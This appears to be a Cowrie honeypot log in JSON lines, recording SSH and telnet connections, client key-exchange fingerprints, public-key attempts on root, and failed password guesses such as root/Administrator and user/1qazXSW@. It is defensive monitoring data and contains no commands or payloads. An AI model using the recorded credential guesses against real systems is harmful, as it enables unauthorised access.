{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:39.155673Z","src_ip":"172.96.172.91","session":"79bfdcd4e89d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:ac:47:b6:11:2e:35:f7:e3:7b:13:5b:26:7c:4d:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4N1ru7ZkPv4E1D8lHKCoaJCpZrlCCMeE3kvuoGc3FsekwBhAB/dWX3mnLCBYwGqbXUUhAhiK7F2Lc4Wpig4Cl6h2ju8x7fpIWjIAE0hubcSW+eL/vj32/Qz6lV2XRbByGM46GeqYxwcY1rHGC2+VdevH3hWZiNHVnnxUG7x+4bDodH/QNfacIxizeI0RWkrHCyWsoc3rrXpjrU52EHKU4MTdbWZziSdyt6w71IKDW8siFvvAx+MMKWvMAaabkoFaMz4tv6/J3nNt2kJ5qFPRggmUFrWtALpY4B2o6YkU6HTaJTllM7N8zUqdxHJV1h59T7bwbcSgYJnOgwlyNxs5qw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint be:ac:47:b6:11:2e:35:f7:e3:7b:13:5b:26:7c:4d:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:39.418976Z","src_ip":"172.96.172.91","session":"79bfdcd4e89d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:ac:47:b6:11:2e:35:f7:e3:7b:13:5b:26:7c:4d:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4N1ru7ZkPv4E1D8lHKCoaJCpZrlCCMeE3kvuoGc3FsekwBhAB/dWX3mnLCBYwGqbXUUhAhiK7F2Lc4Wpig4Cl6h2ju8x7fpIWjIAE0hubcSW+eL/vj32/Qz6lV2XRbByGM46GeqYxwcY1rHGC2+VdevH3hWZiNHVnnxUG7x+4bDodH/QNfacIxizeI0RWkrHCyWsoc3rrXpjrU52EHKU4MTdbWZziSdyt6w71IKDW8siFvvAx+MMKWvMAaabkoFaMz4tv6/J3nNt2kJ5qFPRggmUFrWtALpY4B2o6YkU6HTaJTllM7N8zUqdxHJV1h59T7bwbcSgYJnOgwlyNxs5qw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:39.421875Z","src_ip":"172.96.172.91","session":"79bfdcd4e89d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:48:66:d6:ab:50:a0:e9:88:84:59:75:ed:1a:55:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1knanoyAh/mNHocCjFLcxCIjIUvMMoQbr+Tn/Uti9FKozFC5iJo7uLRISLaeJ1r45tm8+0MjP7lijUMpGaMrhonZXUTqV5YIYyKXk3TPgvZrDDohNmijfmdVjxKJNnJTk2ck/l05lwNW0W5mYuE2tAiX+/IHXp+qGh0v+d122lxv0Cgrbuumnn72zSrRwnJtUipy2fWNpbNGXh4tOW8SkQaN6QwVSygOInx9sYFiTaMNc+Uhr6fUrunSQtPp8/XuXdOXR2fZECRT4XKBTs8HXjUfbsqjYc2j0qVTP7KHbtJOQr61BHyYrG3M3tpJBr6gkYj3bG5o9pgMRixUixWKiQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b7:48:66:d6:ab:50:a0:e9:88:84:59:75:ed:1a:55:b7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:39.475571Z","src_ip":"172.96.172.91","session":"79bfdcd4e89d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:48:66:d6:ab:50:a0:e9:88:84:59:75:ed:1a:55:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1knanoyAh/mNHocCjFLcxCIjIUvMMoQbr+Tn/Uti9FKozFC5iJo7uLRISLaeJ1r45tm8+0MjP7lijUMpGaMrhonZXUTqV5YIYyKXk3TPgvZrDDohNmijfmdVjxKJNnJTk2ck/l05lwNW0W5mYuE2tAiX+/IHXp+qGh0v+d122lxv0Cgrbuumnn72zSrRwnJtUipy2fWNpbNGXh4tOW8SkQaN6QwVSygOInx9sYFiTaMNc+Uhr6fUrunSQtPp8/XuXdOXR2fZECRT4XKBTs8HXjUfbsqjYc2j0qVTP7KHbtJOQr61BHyYrG3M3tpJBr6gkYj3bG5o9pgMRixUixWKiQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:39.478290Z","src_ip":"172.96.172.91","session":"79bfdcd4e89d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8e:8f:fd:b4:10:6e:b9:b1:e8:c5:2f:8f:ce:f4:ea:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXbVyVj1zTYAb6v0+BcZRw4vGfH6R1DKkRCcNQWa6ksbl0uELB67Cv8MI+LjcCiybzAINJJ2Vn72cje5/hnPF54/zmVAOCa+fLuwicp507KTSLmxYgZuAd2tpvjEhpN/j4H36Nc9je9jqkDW55g8e5oYofzSgICSZEe45LQHPxiTi63je0bRzwuMw7Ds+XlgUqQiXuLvaBJYAClqgkcBiPMhAHfWNdjCFKXMEqAPFYEkUUPVf1ZXqJpw7HyGq/oQO3nYfjxTqs19M/X2ec0PBr2MV9dM0HnxLBSikTTKe9uu9mPdPKCOGKhvPFLI8h2bIe1fRt8sPnGR4v/uhQmgIT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8e:8f:fd:b4:10:6e:b9:b1:e8:c5:2f:8f:ce:f4:ea:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:39.531723Z","src_ip":"172.96.172.91","session":"79bfdcd4e89d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8e:8f:fd:b4:10:6e:b9:b1:e8:c5:2f:8f:ce:f4:ea:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXbVyVj1zTYAb6v0+BcZRw4vGfH6R1DKkRCcNQWa6ksbl0uELB67Cv8MI+LjcCiybzAINJJ2Vn72cje5/hnPF54/zmVAOCa+fLuwicp507KTSLmxYgZuAd2tpvjEhpN/j4H36Nc9je9jqkDW55g8e5oYofzSgICSZEe45LQHPxiTi63je0bRzwuMw7Ds+XlgUqQiXuLvaBJYAClqgkcBiPMhAHfWNdjCFKXMEqAPFYEkUUPVf1ZXqJpw7HyGq/oQO3nYfjxTqs19M/X2ec0PBr2MV9dM0HnxLBSikTTKe9uu9mPdPKCOGKhvPFLI8h2bIe1fRt8sPnGR4v/uhQmgIT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:39.534127Z","src_ip":"172.96.172.91","session":"79bfdcd4e89d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:f4:91:af:25:19:15:4c:4d:4f:64:9d:86:c0:37:98","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGH9RsPzhbVxPLb4CcwvBlGSOkZSCJDIcDr9fXadzDFg","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 47:f4:91:af:25:19:15:4c:4d:4f:64:9d:86:c0:37:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:39.587742Z","src_ip":"172.96.172.91","session":"79bfdcd4e89d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:f4:91:af:25:19:15:4c:4d:4f:64:9d:86:c0:37:98","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGH9RsPzhbVxPLb4CcwvBlGSOkZSCJDIcDr9fXadzDFg","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:39.590626Z","src_ip":"172.96.172.91","session":"79bfdcd4e89d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"43:46:c7:86:2c:76:b5:a3:e4:b0:c1:4b:cd:dd:89:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC87PsQtUHVW52oghXrojQ1ccuyNRjS+J5izBehxEegzpY7Z+B0E82q4zuQ2UwJZqAVfy7Dfwsog13BoiyvzcslY3Qh8cVm8LxAlQQCO4hwiF9W2mTj/uJJ3gbU27oSI0qhQYvsDfMMQVFbXXWhhbyAuvSycbfUM1tIKTEw3DMMDYPDsXkU1pWYMsLqXq1wgcXAE65lpjOB04/wAuXIjiVLYlrrtLqlbC7WlL8bjVIWvkAuC0MBFsdkJscA9tQPLtUgjkhO/A+SBmOLRiJfQRS8FqLB+ZQpewCfKXs5xZtk2NU6FiGKyPt0J7BSY+t/aXMFIDZTzojrcgMBP+KKSs4r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 43:46:c7:86:2c:76:b5:a3:e4:b0:c1:4b:cd:dd:89:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:39.643531Z","src_ip":"172.96.172.91","session":"79bfdcd4e89d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"43:46:c7:86:2c:76:b5:a3:e4:b0:c1:4b:cd:dd:89:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC87PsQtUHVW52oghXrojQ1ccuyNRjS+J5izBehxEegzpY7Z+B0E82q4zuQ2UwJZqAVfy7Dfwsog13BoiyvzcslY3Qh8cVm8LxAlQQCO4hwiF9W2mTj/uJJ3gbU27oSI0qhQYvsDfMMQVFbXXWhhbyAuvSycbfUM1tIKTEw3DMMDYPDsXkU1pWYMsLqXq1wgcXAE65lpjOB04/wAuXIjiVLYlrrtLqlbC7WlL8bjVIWvkAuC0MBFsdkJscA9tQPLtUgjkhO/A+SBmOLRiJfQRS8FqLB+ZQpewCfKXs5xZtk2NU6FiGKyPt0J7BSY+t/aXMFIDZTzojrcgMBP+KKSs4r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:39.646629Z","src_ip":"172.96.172.91","session":"79bfdcd4e89d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:39.704119Z","src_ip":"172.96.172.91","session":"79bfdcd4e89d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40264,"dst_ip":"159.203.135.109","dst_port":22,"session":"66060be63799","protocol":"ssh","message":"New connection: 168.167.228.74:40264 (159.203.135.109:22) [session: 66060be63799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:39.980854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:39.985666Z","src_ip":"168.167.228.74","session":"66060be63799","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:40.240094Z","src_ip":"168.167.228.74","session":"66060be63799","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qazXSW@","message":"login attempt [user/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:41.301364Z","src_ip":"168.167.228.74","session":"66060be63799","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:42.570171Z","src_ip":"168.167.228.74","session":"66060be63799","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52736,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7698d5a227b","protocol":"ssh","message":"New connection: 91.92.42.227:52736 (10.17.0.5:22) [session: f7698d5a227b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:53.236638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:53.243854Z","src_ip":"91.92.42.227","session":"f7698d5a227b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:46:53.324659Z","src_ip":"91.92.42.227","session":"f7698d5a227b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.733787536621094,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:47:01.007487Z","src_ip":"128.199.8.54","session":"819adf658da2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:47:01.239012Z","src_ip":"91.92.42.227","session":"f7698d5a227b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.215.196","src_port":54130,"dst_ip":"10.17.0.5","dst_port":22,"session":"03e79bb311a0","protocol":"ssh","message":"New connection: 123.58.215.196:54130 (10.17.0.5:22) [session: 03e79bb311a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:47:02.137906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:47:02.142461Z","src_ip":"123.58.215.196","session":"03e79bb311a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:47:02.365587Z","src_ip":"123.58.215.196","session":"03e79bb311a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Administrator","message":"login attempt [root/Administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:47:03.260957Z","src_ip":"123.58.215.196","session":"03e79bb311a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:47:04.487144Z","src_ip":"123.58.215.196","session":"03e79bb311a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.90491461753845,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:47:09.220890Z","src_ip":"128.199.8.54","session":"b44aa12e7099","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":41488,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7155d1daa44","protocol":"telnet","message":"New connection: 107.6.151.170:41488 (159.203.135.109:23) [session: b7155d1daa44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:47:32.627194Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":48174,"dst_ip":"159.203.135.109","dst_port":22,"session":"c66ed61ec85e","protocol":"ssh","message":"New connection: 2.57.122.238:48174 (159.203.135.109:22) [session: c66ed61ec85e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:47:33.127513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:47:33.130046Z","src_ip":"2.57.122.238","session":"c66ed61ec85e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:47:33.226011Z","src_ip":"2.57.122.238","session":"c66ed61ec85e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:47:33.515858Z","src_ip":"2.57.122.238","session":"c66ed61ec85e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:47:34.614020Z","src_ip":"2.57.122.238","session":"c66ed61ec85e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":36874,"dst_ip":"10.17.0.5","dst_port":22,"session":"38c1db20c298","protocol":"ssh","message":"New connection: 91.92.42.227:36874 (10.17.0.5:22) [session: 38c1db20c298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:06.304848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:06.344413Z","src_ip":"91.92.42.227","session":"38c1db20c298","protocol":"ssh"}
